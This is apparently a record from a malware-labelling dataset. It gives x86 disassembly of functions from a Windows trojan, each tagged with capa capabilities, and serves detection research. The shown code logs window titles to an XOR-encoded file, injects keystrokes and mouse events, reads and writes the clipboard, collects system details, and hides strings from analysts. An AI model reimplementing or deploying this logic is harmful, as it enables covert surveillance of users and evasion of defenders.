joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4081f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x114
push ebx
mov al, 0x6f
push ebp
push esi
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push edi
lea eax, [esp + 0x20]
push 0x104
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea eax, [esp + 0x34]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x40829a
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x128]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x4082c9
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x4082bd
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret

Function at 0x408300
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x424c30
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x424c30
push eax
mov dword [0x425030], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x424c2c]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x425030]
cmp eax, ecx
je 0x4083fb
push 0x424c30
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x4083ef
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x424c30
lea edx, [esp + 0x34]
push 0x421d7c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.004081f0
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x424c30
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x425030]
mov dword [0x424c2c], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret
Function at 0x408820
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x118
push ebp
push edi
lea eax, [esp + 0x1c]
xor edi, edi
push 0x104
mov dword [esp + 0x18], ecx
push eax
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 8]
lea edx, [esp + 0x1c]
mov al, 0x6f
push ecx
push edx
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x30]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x408901
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x1c]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x4088ea
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x4088dc
mov ecx, dword [esp + 0x18]
push edi
push esi
call fcn.004087c0
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
add esp, 0x118
ret
Function at 0x408fd9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x29c], 0x52
mov al, 0x65
mov byte [ebp - 0x29b], al
mov byte [ebp - 0x29a], 0x67
mov byte [ebp - 0x299], 0x43
mov byte [ebp - 0x298], 0x6c
mov byte [ebp - 0x297], 0x6f
mov byte [ebp - 0x296], 0x73
mov byte [ebp - 0x295], al
mov byte [ebp - 0x294], 0x4b
mov byte [ebp - 0x293], al
mov byte [ebp - 0x292], 0x79
mov byte [ebp - 0x291], 0
mov byte [ebp - 0x28c], 0x41
mov byte [ebp - 0x28b], 0x44
mov byte [ebp - 0x28a], 0x56
mov byte [ebp - 0x289], 0x41
mov byte [ebp - 0x288], 0x50
mov byte [ebp - 0x287], 0x49
mov byte [ebp - 0x286], 0x33
mov byte [ebp - 0x285], 0x32
mov byte [ebp - 0x284], 0x2e
mov byte [ebp - 0x283], 0x64
mov byte [ebp - 0x282], 0x6c
mov byte [ebp - 0x281], 0x6c
mov byte [ebp - 0x280], 0
lea eax, [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x28c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov edx, dword [ebp + 8]
push edx
call esi
mov eax, dword [ebp - 0x274]
push eax
call esi
ret
Function at 0x409303
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x6c], 0x52
mov al, 0x65
mov byte [ebp - 0x6b], al
mov byte [ebp - 0x6a], 0x67
mov byte [ebp - 0x69], 0x43
mov byte [ebp - 0x68], 0x6c
mov byte [ebp - 0x67], 0x6f
mov byte [ebp - 0x66], 0x73
mov byte [ebp - 0x65], al
mov byte [ebp - 0x64], 0x4b
mov byte [ebp - 0x63], al
mov byte [ebp - 0x62], 0x79
mov byte [ebp - 0x61], 0
mov byte [ebp - 0x5c], 0x41
mov byte [ebp - 0x5b], 0x44
mov byte [ebp - 0x5a], 0x56
mov byte [ebp - 0x59], 0x41
mov byte [ebp - 0x58], 0x50
mov byte [ebp - 0x57], 0x49
mov byte [ebp - 0x56], 0x33
mov byte [ebp - 0x55], 0x32
mov byte [ebp - 0x54], 0x2e
mov byte [ebp - 0x53], 0x64
mov byte [ebp - 0x52], 0x6c
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 0
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x5c]
push edx
call edi
push eax
call esi
mov esi, eax
mov eax, dword [ebp + 8]
push eax
call esi
mov ecx, dword [ebp - 0x24]
push ecx
call esi
ret

Function at 0x409c90
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x409e41
call fcn.00414ab0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x409e41
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x409d0d
cmp eax, 0x208
ja 0x409d0d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x409dbd
je 0x409da5
cmp eax, 0x105
ja 0x409d79
je 0x409d5b
sub eax, 0x100
je 0x409d3d
dec eax
je 0x409d5b
sub eax, 3
jne case.0x409dc7.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x409dc7.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x409dc7.521
sub eax, 0x201
je 0x409d96
dec eax
jne case.0x409dc7.521
push 0
push 0
push 0
push 0
push 4
jmp 0x409e2a
push 0
push 0
push 0
push 0
push 2
jmp 0x409e2a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x409e2a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x409dc7.521
jmp dword [eax*4 + 0x409e48]
push 0
push 0
push 0
push 0
push 8
jmp 0x409e2a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x409e2a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x409e2a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x409e2a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x409e2a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x409cd9
pop edi
pop ebp
pop ebx
pop esi
ret 8
Function at 0x409e70
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x409ed8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x409ed0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8

Function at 0x409ee0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x409f72
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x409f11
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.004089a0
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x40ac60
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.0040ab00
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40aca8
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x6d
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x40ac82
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret

Function at 0x40acb0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x310
mov ax, word [0x4223f0]
mov cl, byte [0x4223f2]
push ebx
push esi
push edi
mov byte [esp + 0x11e], cl
mov word [esp + 0x11c], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11f]
rep stosd dword es:[edi], eax
mov dx, word [0x4223ec]
mov ecx, 0x3f
stosb byte es:[edi], al
mov al, byte [0x4223ee]
lea edi, [esp + 0x1f]
mov byte [esp + 0x1e], al
xor eax, eax
mov word [esp + 0x1c], dx
lea edx, [esp + 0x11c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
or ecx, 0xffffffff
lea edi, [esp + 0x1c]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 6
mov esi, str.HARDWAREDESCRIPTIONSys
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x39
lea edi, [esp + 0x35]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
mov esi, str.temCentralProcessor0
lea edi, [esp + 0x21c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3a
lea edi, [esp + 0x233]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x21c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
push eax
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x128]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
add esp, 0x310
ret
Function at 0x40ae50
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
mov eax, dword [str.SYSTEMSetup]
mov ecx, dword [0x4216b8]
mov edx, dword [0x4216bc]
mov dword [esp], eax
mov al, byte [0x4216c0]
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
mov byte [esp + 0x18], al
mov ecx, 0xfc
xor eax, eax
lea edi, [esp + 0x19]
mov dword [esp + 0x14], edx
mov ebx, dword [esp + 0x414]
mov esi, dword [esp + 0x410]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, ebx
push 0
stosb byte es:[edi], al
mov edx, ecx
xor eax, eax
mov edi, esi
push ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push esi
rep stosb byte es:[edi], al
push 1
lea eax, [esp + 0x20]
push str.Host
push eax
push reloc.WS2_32.dll_bind
call fcn.00408b10
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
push esi
call edi
test eax, eax
jne 0x40aee5
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret
Function at 0x40af90
Capabilities:
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x39c
push ebp
push esi
lea eax, [esp + 0x6c]
push edi
push eax
mov byte [esp + 0x70], 0x66
mov byte [esp + 0x14e], 0
mov dword [esp + 0x74], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x1a8]
push 0x100
push ecx
call fcn.0040ae50
mov ebp, dword [esp + 0x3b8]
xor edx, edx
mov dword [esp + 0x20], edx
add esp, 8
mov dword [esp + 0x1c], edx
lea eax, [esp + 0x14]
mov dword [esp + 0x20], edx
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0xa8]
push eax
push ecx
push edx
mov dword [esp + 0x20], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x1c]
mov ecx, 0xc
lea esi, [esp + 0x1a8]
lea edi, [esp + 0x118]
mov dword [esp + 0x114], eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.0040acb0
lea ecx, [esp + 0x48]
mov dword [esp + 0x10c], eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp + 0x5c]
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x114], edx
mov dword [esp + 0x2c], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [esp + 0x30]
shr ecx, 0x14
mov dword [esp + 0x150], ecx
call fcn.0040ae10
test eax, eax
mov eax, dword [esp + 0x3b4]
push str.LXQtqY
setne dl
mov byte [esp + 0x14e], dl
mov dword [esp + 0x150], eax
call fcn.0040ac60
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18a]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x10], 0x44
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [esp + 0x11], 0x65
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [esp + 0x12], 0x66
and ecx, 3
mov byte [esp + 0x13], 0x61
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x14], 0x75
mov byte [esp + 0x15], 0x6c
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0
push 0x100
lea ecx, [esp + 0x2b0]
push ecx
call fcn.0040af00
add esp, 0xc
test eax, eax
jne 0x40b115
mov edx, str.Aw4FDA0FEKY
test edx, edx
je 0x40b10f
push edx
call fcn.0040ac60
add esp, 4
jmp 0x40b11c
lea eax, [esp + 0xc]
jmp 0x40b11c
lea eax, [esp + 0x2a8]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x154]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x13c
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x70]
push ecx
mov ecx, ebp
call fcn.00402680
pop edi
pop esi
pop ebp
add esp, 0x39c
ret
Function at 0x40b160
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41c9d6
push eax
mov eax, 0x9e7c
mov dword fs:[0], esp
call fcn.0041bda0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.CwjQAw4NEAUDDBIR0AMPEaY
call fcn.0040ac60
add esp, 4
push eax
lea eax, [ebp - 0x74]
push str._s__d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push str.CwjQAw4NEAUDDBIR0AMPEaY
call fcn.0040ac60
add esp, 0x14
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40b1d6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40b1d6
push 0
call sub.MSVCRT.dll_exit
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call ebx
lea ecx, [ebp - 0x130]
call fcn.00402040
mov dword [ebp - 4], 0
mov byte [ebp - 0xd], 0
mov al, byte [ebp - 0xd]
test al, al
je 0x40b247
cmp al, 3
je 0x40b247
xor edi, edi
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov esi, eax
test esi, esi
jne 0x40b235
push 0xc8
call ebx
inc edi
cmp edi, 0x3e8
jl 0x40b20c
jmp 0x40b247
lea ecx, [ebp - 0x130]
call fcn.00402600
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.CwjQAw4NEAUDDBIR0AMPEaY
call fcn.0040ac60
push str.ub2tKY
mov dword [0x425074], eax
call fcn.0040ac60
push eax
call sub.MSVCRT.dll_atoi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0xc
mov dword [0x42506c], eax
call edi
mov edx, dword [0x42506c]
mov esi, eax
mov eax, dword [0x425074]
push edx
push eax
lea ecx, [ebp - 0x130]
call fcn.00402200
test al, al
jne 0x40b29d
mov byte [ebp - 0xd], 2
jmp 0x40b1ff
call edi
sub eax, esi
lea ecx, [ebp - 0x130]
push eax
push ecx
push 0
call fcn.0040af90
mov edx, dword [0x42506c]
mov eax, dword [0x425074]
add esp, 0xc
lea ecx, [ebp - 0x74]
push edx
push eax
lea edx, [ebp - 0x130]
push ecx
push edx
lea ecx, [ebp - 0x9e88]
call fcn.00407a60
lea eax, [ebp - 0x9e88]
lea ecx, [ebp - 0x130]
push eax
mov byte [ebp - 4], 1
call fcn.004028c0
xor esi, esi
lea ecx, [ebp - 0x9e88]
call fcn.004081b0
test al, al
jne 0x40b30a
push 0x3e8
call ebx
inc esi
cmp esi, 0xa
jl 0x40b2ee
lea ecx, [ebp - 0x9e88]
call fcn.004081b0
test al, al
jne 0x40b32d
lea ecx, [ebp - 0x9e88]
mov byte [ebp - 4], 0
call fcn.00407ae0
jmp 0x40b1ff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov edx, dword [ebp - 0x84]
push 0x64
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1f4
mov edi, eax
call ebx
test esi, esi
jne 0x40b368
test edi, edi
jne 0x40b333
jmp 0x40b319
lea ecx, [ebp - 0x130]
call fcn.00402600
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x9e88]
mov byte [ebp - 4], 0
call fcn.00407ae0
nop
nop
nop
nop
nop
nop
push 0
call ebx
lea ecx, [ebp - 0x130]
mov dword [ebp - 4], 0xffffffff
call fcn.00402140
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40bfa0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x41c9e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x1c], esi
mov dword [esi], 0x41d554
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.TerminateThread
push str.KERNEL32.dll
mov dword [esp + 0x50], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push str.KERNEL32.dll
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x48
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x64
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0
call edi
push eax
call ebp
mov cl, 0x69
mov dword [esp + 0x18], eax
mov byte [esp + 0x2e], cl
mov byte [esp + 0x34], cl
lea ecx, [esp + 0x2c]
mov al, 0x74
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x67
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x65
mov byte [esp + 0x41], 0x4f
mov byte [esp + 0x42], 0x62
mov byte [esp + 0x43], 0x6a
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], al
mov byte [esp + 0x47], 0
call edi
push eax
call ebp
push str.TerminateProcess
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebp
push str.DisconnectNamedPipe
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebp
mov edx, dword [esi + 0x28]
push 0
push edx
mov edi, eax
call ebx
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [esp + 0x18]
mov ecx, dword [esi + 0x24]
push 0
push ecx
call ebx
mov edx, dword [esi + 0x2c]
push 0x7d0
push edx
call dword [esp + 0x1c]
mov eax, dword [esi + 0x2c]
push 0
push eax
call ebx
mov eax, dword [esi + 0x10]
test eax, eax
je 0x40c110
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40c11a
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40c124
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40c12e
push eax
call edi
mov ecx, dword [esi + 0x10]
mov edi, dword [esp + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x14]
push edx
call edi
mov eax, dword [esi + 0x18]
push eax
call edi
mov ecx, dword [esi + 0x1c]
push ecx
call edi
mov edx, dword [esi + 0x20]
push edx
call edi
mov eax, dword [esi + 0x24]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
mov edx, dword [esi + 0x28]
push edx
call edi
mov ecx, esi
mov dword [esp + 0x48], 0xffffffff
call fcn.00408970
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x3c
ret